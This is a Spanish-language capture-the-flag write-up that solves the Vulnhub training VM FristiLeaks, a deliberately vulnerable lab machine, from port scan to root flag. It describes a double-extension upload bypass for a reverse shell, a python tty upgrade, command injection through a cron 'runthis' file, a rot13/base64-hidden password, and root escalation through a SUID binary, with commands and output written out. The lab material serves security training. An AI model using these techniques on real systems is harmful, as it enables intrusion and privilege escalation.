Roskyfrosky


Vulnhub FristiLeak

15 Mar 2018 » vulnhub

FristiLeak

URL de la máquina: https://www.vulnhub.com/entry/fristileaks-13,133/
Descripción: A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..

Solución

Lo primero que realizamos, como en todas las máquinas, es realizar un escaneo de puertos para ver que servicios están corriendo en la máquina.

Vemos que se encuentra corriendo en el puerto 80 un servidor apache. Al acceder a través del navegador vemos la siguiente imagen

Miramos el código fuente y posible ficheros típicos como pueden ser sitemap.xml, robots.txt, etc.

Vemos que en el fichero robots.txt aparece el siguiente contenido

User-agent: *
Disallow: /cola
Disallow: /sisi
Disallow: /beer

Pero cuando accedemos a las distintas carpetas siempre vemos la siguiente imagen

Trás analizar la imagen vemos que no esconde nada, por lo que decidimos lanzar un dirbuster para ver si hubiese algún fichero en el servidor que no estuviera referenciado en el robots.txt. Con el dirbuster y los diccionarios comunes no encontramos nada, por lo que seguimos pensando hasta que empezamos a probar distintos ficheros y carpetas que estén relacionados con las palabras que se encuentran en la página inicial.

Trás un rato probando entradas como fristileak, FristiLeak.txt, leak.txt, Leak.txt… encontramos que existe la carpeta fristi. Al acceder, podemos observar la siguiente pantalla.

mirando en el código fuente de la página, encontramos dos compentarios, En el primero nos indica un usuario.

y en el segundo que se trata de un base64.

Al decodear el base64 nos damos cuenta de que se trata de una imagen, que es la siguiente:

Probamos el usuario que hemos encontrado en el comentario y como contraseña el texto de la imagen. Parece ser que la combinación funciona :D. Al entrar vemos un upload, con la que vamos a intentar subir una shell.

Al intentar subir un fichero, nos indican que solo se pueden subir ficheros con extension .jpg, .png y .gif.
Probamos a subir nuestra reverse shell añadiendo la extensión .jpg al final, dado que es un fallo muy conocido. Puedes encontrar más información de como funciona la doble extensión aquí

Al realizar la petición que se muestra en la captura anterior, ponemos a la escucha un netcat en nuestra máquina local para recibir la conexión de la reverse shell y accedemos al fichero que acabamos de subir.
Ya tenemos shell en el servidor con el usuario apache, asique vamos hacer que la shell sea tty.

python -c 'import pty; pty.spawn("/bin/sh")'

Ahora toca buscar como elevar privilegios para poder leer el fichero de flag solo accesible por root. Dando una vuelta por el servidor, nos encontramos con un fichero (checklogin.php) donde podemos observar unas credenciales de acceso a base de datos.

Accedemos a la base de datos y comprobamos que información contienen e incluso el usuario bajo el que corre mysql, pero parece ser que este no es el camino.
Realizamos otras tareas como enumeración de ficheros con el bit suid activo, sudo -l , etc…pero nada.

Vamos al directorio /var/www y encontramos los siguientes archivos:

drwxr-xr-x.  6 root root 4096 Nov 17  2015 .
drwxr-xr-x. 19 root root 4096 Nov 19  2015 ..
drwxr-xr-x.  2 root root 4096 Aug 24  2015 cgi-bin
drwxr-xr-x.  3 root root 4096 Nov 17  2015 error
drwxr-xr-x.  7 root root 4096 Nov 25  2015 html
drwxr-xr-x.  3 root root 4096 Nov 17  2015 icons
-rw-r--r--   1 root root   98 Nov 17  2015 notes.txt

y miramos a ver que contiene el fichero notes.txt

hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.

-jerry

Por lo que vamos al directorio /home para ver si encontramos algo interesante. Vemos que existen tres usuarios en la máquina

Dado que tenemos permisos de usuario apache, el unico directorio al que podemos acceder de momento es eezeepz, entramos para ver que podemos encontrar tal y como nos ha indicado el mensaje anterior.

total 2608  
drwx---r-x. 5 eezeepz eezeepz  12288 Nov 18  2015 .  
drwxr-xr-x. 5 root    root      4096 Nov 19  2015 ..  
drwxrwxr-x. 2 eezeepz eezeepz   4096 Nov 17  2015 .Old  
-rw-r--r--. 1 eezeepz eezeepz     18 Sep 22  2015 .bash_logout  
-rw-r--r--. 1 eezeepz eezeepz    176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 eezeepz eezeepz    124 Sep 22  2015 .bashrc
drwxrwxr-x. 2 eezeepz eezeepz   4096 Nov 17  2015 .gnome
drwxrwxr-x. 2 eezeepz eezeepz   4096 Nov 17  2015 .settings
-rwxr-xr-x. 1 eezeepz eezeepz  24376 Nov 17  2015 MAKEDEV
-rwxr-xr-x. 1 eezeepz eezeepz  33559 Nov 17  2015 cbq
-rwxr-xr-x. 1 eezeepz eezeepz   6976 Nov 17  2015 cciss_id
-rwxr-xr-x. 1 eezeepz eezeepz  56720 Nov 17  2015 cfdisk
-rwxr-xr-x. 1 eezeepz eezeepz  25072 Nov 17  2015 chcpu
-rwxr-xr-x. 1 eezeepz eezeepz  52936 Nov 17  2015 chgrp
-rwxr-xr-x. 1 eezeepz eezeepz  31800 Nov 17  2015 chkconfig
-rwxr-xr-x. 1 eezeepz eezeepz  48712 Nov 17  2015 chmod
-rwxr-xr-x. 1 eezeepz eezeepz  53640 Nov 17  2015 chown
-rwxr-xr-x. 1 eezeepz eezeepz  44528 Nov 17  2015 clock
-rwxr-xr-x. 1 eezeepz eezeepz   4808 Nov 17  2015 consoletype
-rwxr-xr-x. 1 eezeepz eezeepz 129992 Nov 17  2015 cpio
-rwxr-xr-x. 1 eezeepz eezeepz  38608 Nov 17  2015 cryptsetup
-rwxr-xr-x. 1 eezeepz eezeepz   5344 Nov 17  2015 ctrlaltdel
-rwxr-xr-x. 1 eezeepz eezeepz  41704 Nov 17  2015 cut
-rwxr-xr-x. 1 eezeepz eezeepz  14832 Nov 17  2015 halt
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 hostname
-rwxr-xr-x. 1 eezeepz eezeepz  44528 Nov 17  2015 hwclock
-rwxr-xr-x. 1 eezeepz eezeepz   7920 Nov 17  2015 kbd_mode
-rwxr-xr-x. 1 eezeepz eezeepz  11576 Nov 17  2015 kill
-rwxr-xr-x. 1 eezeepz eezeepz  16472 Nov 17  2015 killall5
-rwxr-xr-x. 1 eezeepz eezeepz  32928 Nov 17  2015 kpartx
-rwxr-xr-x. 1 eezeepz eezeepz  11464 Nov 17  2015 nameif
-rwxr-xr-x. 1 eezeepz eezeepz 171784 Nov 17  2015 nano
-rwxr-xr-x. 1 eezeepz eezeepz   5512 Nov 17  2015 netreport
-rwxr-xr-x. 1 eezeepz eezeepz 123360 Nov 17  2015 netstat
-rwxr-xr-x. 1 eezeepz eezeepz  13892 Nov 17  2015 new-kernel-pkg
-rwxr-xr-x. 1 eezeepz eezeepz  25208 Nov 17  2015 nice
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 nisdomainname
-rwxr-xr-x. 1 eezeepz eezeepz   4736 Nov 17  2015 nologin
-r--r--r--. 1 eezeepz eezeepz    514 Nov 18  2015 notes.txt
-rwxr-xr-x. 1 eezeepz eezeepz 390616 Nov 17  2015 tar
-rwxr-xr-x. 1 eezeepz eezeepz  11352 Nov 17  2015 taskset
-rwxr-xr-x. 1 eezeepz eezeepz 249000 Nov 17  2015 tc
-rwxr-xr-x. 1 eezeepz eezeepz  51536 Nov 17  2015 telinit
-rwxr-xr-x. 1 eezeepz eezeepz  47928 Nov 17  2015 touch
-rwxr-xr-x. 1 eezeepz eezeepz  11440 Nov 17  2015 tracepath
-rwxr-xr-x. 1 eezeepz eezeepz  12304 Nov 17  2015 tracepath6
-rwxr-xr-x. 1 eezeepz eezeepz  21112 Nov 17  2015 true
-rwxr-xr-x. 1 eezeepz eezeepz  35608 Nov 17  2015 tune2fs
-rwxr-xr-x. 1 eezeepz eezeepz  15410 Nov 17  2015 weak-modules
-rwxr-xr-x. 1 eezeepz eezeepz  12216 Nov 17  2015 wipefs
-rwxr-xr-x. 1 eezeepz eezeepz 504400 Nov 17  2015 xfs_repair
-rwxr-xr-x. 1 eezeepz eezeepz  13712 Nov 17  2015 ypdomainname
-rwxr-xr-x. 1 eezeepz eezeepz     62 Nov 17  2015 zcat
-rwxr-xr-x. 1 eezeepz eezeepz  47520 Nov 17  2015 zic

Vemos que existe un fichero notes.txt que parece interesante, vamos a ver que contiene el fichero:

Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

Vaya nos indica que de alguna manera tenemos que lograr acceso al directorio /home/admim. Para ello tenemos que crear un script con nombre “runthis” en la carpeta /tmp y cuyo resultado sera volcado en otro fichero cronresult. Para ello vamos y trás varios intentos vemos que conseguimos cambiar los permisos del directorio /home/admin con el siguiente comando

echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > /tmp/runthis

ls -la /home
total 28
drwxr-xr-x.  5 root      root       4096 Nov 19  2015 .
dr-xr-xr-x. 22 root      root       4096 Mar 14 14:14 ..
drwxrwxrwx.  2 admin     admin      4096 Nov 19  2015 admin
drwx---r-x.  5 eezeepz   eezeepz   12288 Nov 18  2015 eezeepz
drwx------   2 fristigod fristigod  4096 Nov 19  2015 fristigod

y dentro del directorio admin encontramos los siguientes ficheros:

ls -la
total 652
drwxrwxrwx. 2 admin     admin       4096 Nov 19  2015 .
drwxr-xr-x. 5 root      root        4096 Nov 19  2015 ..
-rwxrwxrwx. 1 admin     admin         18 Sep 22  2015 .bash_logout
-rwxrwxrwx. 1 admin     admin        176 Sep 22  2015 .bash_profile
-rwxrwxrwx. 1 admin     admin        124 Sep 22  2015 .bashrc
-rwxrwxrwx  1 admin     admin      45224 Nov 18  2015 cat
-rwxrwxrwx  1 admin     admin      48712 Nov 18  2015 chmod
-rwxrwxrwx  1 admin     admin        737 Nov 18  2015 cronjob.py
-rwxrwxrwx  1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rwxrwxrwx  1 admin     admin        258 Nov 18  2015 cryptpass.py
-rwxrwxrwx  1 admin     admin      90544 Nov 18  2015 df
-rwxrwxrwx  1 admin     admin      24136 Nov 18  2015 echo
-rwxrwxrwx  1 admin     admin     163600 Nov 18  2015 egrep
-rwxrwxrwx  1 admin     admin     163600 Nov 18  2015 grep
-rwxrwxrwx  1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r--  1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt

En primer lugar vemos que hay en el fichero whoisyourgodnow.txt.

=RFn0AKnlMHMPIzpyuTI0ITG

Parece ser un base64 pero al reves, por lo que damos la vuelta y obtenemos GTI0ITuypzIPMHMlnKA0nFR=.

Al intentar decodear el base64 nos devuelve algo ilegible, por lo que pensamos que puede haber algún tipo de rot aplicado sobre la cadena de texto. Vemos que se trata de un rot13.

El resultado de aplicarle el rot13 es TGV0VGhlcmVCZUZyaXN0aSE= y luego decodear el base64 es : LetThereBeFristi!

Existe también otro fichero con nombre “cryptedpass.txt” que ha sido creado con el fichero cryptpass.py que se muestra a continuación:

cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

Este último fichero no contienen una cadena en claro por lo que lo omitimos.

Parece ser que la cadena obtenida del fichero “whoisyourgodnow.txt” es la contraseña del usuario fristigod. Por ello vamos a cambiar de usuario con el siguiente comando:

su fristigod Password:LetThereBeFristi!

y ya somos usuario fristigod.Entramos en el home del usuario fristigod y no encontramos nada interensate.

Dando una vuelta por el sistema encontramos la siguiente ruta /var/fristigod/ donde están los siguientes archivos.

drwxr-x— 3 fristigod fristigod 4096 Nov 25 2015 . drwxr-xr-x. 19 root root 4096 Nov 19 2015 .. -rw——- 1 fristigod fristigod 864 Nov 25 2015 .bash_history drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .secret_admin_stuff

Mostramos el fichero .bash_history y nos muestra las acciones que se han realizado:

ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom 
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom 
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit

Vemos que dentro de la carpeta .secret_admin_stuff hay un fichero doCom que ha de ejecutarse con el usuario fristi.

El fichero tiene el bit SUID y GUID activo.

drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25  2015 .
drwxr-x---  3 fristigod fristigod 4096 Nov 25  2015 ..
-rwsr-sr-x  1 root      root      7529 Nov 25  2015 doCom

Al ejecutarlo con el usuario normal, nos indica que el usuario con el que lo ejecutamos no es válido.

Nice try, but wrong user ;)

Si lo ejecutamos tal y como nos muestra el bash_history nos muestra el mensaje de Help de como funciona el comando:

Usage: ./program_name terminal_command ...

Al tener el bit SUID activo, vamos a lanzar /bin/bash con permisos de root y así elevar privilegios:

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

y así conseguimos shell con privilegios de root! :D.

Ahora vamos al directorio root y mostramos el fichero fristileaks_secrets.txt donde encontramos el siguiente mensaje con la flag:

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1